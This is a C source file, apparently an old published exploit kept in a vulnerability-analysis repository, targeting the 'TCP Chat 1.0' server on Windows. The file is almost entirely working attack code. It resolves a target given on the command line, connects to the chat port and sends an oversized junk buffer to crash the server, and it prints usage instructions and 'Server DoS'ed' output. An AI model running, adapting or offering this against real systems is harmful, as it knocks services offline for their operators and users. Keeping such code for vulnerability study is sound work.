lilbool/vuln-code-analysis

1/*

2

3TCP Chat(TCPX) DoS Exploit

4----------------------------------------

5

6Resolve host... [OK]

7[+] Connecting... [OK]

8Target locked

9Sending bad procedure... [OK]

10[+] Server DoS'ed

11

12Tested on Windows2000 SP4

13Info: infamous.2hell.com / basher13@linuxmail.org

14

15*/

16

17#include <string.h>

18#include <winsock2.h>

19#include <stdio.h>

20

21#pragma comment(lib, "ws2_32.lib")

22

23char doscore[] =

24"*** TCP Chat 1.0 DOS Exploit \n"

25"***-----------------------------------------------\n"

26"*** Infam0us Gr0up - Securiti Research Team \n\n"

27"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

28"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

29"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

30"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

31"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

32"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

33"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

34"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

35"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

36"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

37"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

38"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

39"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

40"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

41"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

42"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

43"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

44"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

45"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"

46"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n";

47

48

49int main(int argc, char *argv[])

50{

51WSADATA wsaData;

52WORD wVersionRequested;

53struct hostent *pTarget;

54struct sockaddr_in sock;

55char *target;

56int port,bufsize;

57SOCKET inetdos;

58

59if (argc < 2)

60{

61printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);

62printf(" ------------------------------------------\n", argv[0]);

63printf(" Infam0us Gr0up - Securiti Research\n\n", argv[0]);

64printf("[-]Usage: %s [target] [port]\n", argv[0]);

65printf("[?]Exam: %s localhost 1234\n", argv[0]);

66exit(1);

67}

68

69wVersionRequested = MAKEWORD(1, 1);

70if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

71

72target = argv[1];

73port = 1234;

74

75if (argc >= 3) port = atoi(argv[2]);

76bufsize = 1024;

77if (argc >= 4) bufsize = atoi(argv[3]);

78

79inetdos = socket(AF_INET, SOCK_STREAM, 0);

80if(inetdos==INVALID_SOCKET)

81{

82printf("Socket ERROR \n");

83exit(1);

84}

85printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);

86printf(" ------------------------------------------\r\n\n", argv[0]);

87printf("Resolve host... ");

88if ((pTarget = gethostbyname(target)) == NULL)

89{

90printf("FAILED \n", argv[0]);

91exit(1);

92}

93printf("[OK]\n ");

94memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

95sock.sin_family = AF_INET;

96sock.sin_port = htons((USHORT)port);

97

98printf("[+] Connecting... ");

99if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))

100{

101printf("FAILED\n");

102exit(1);

103}

104printf("[OK]\n");

105printf("Target locked\n");

106printf("Sending bad procedure... ");

107if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)

108{

109printf("ERROR\n");

110closesocket(inetdos);

111exit(1);

112}

113printf("[OK]\n ");

114printf("[+] Server DoS'ed\n");

115closesocket(inetdos);

116WSACleanup();

117return 0;

118}

119

120// milw0rm.com [2005-07-06]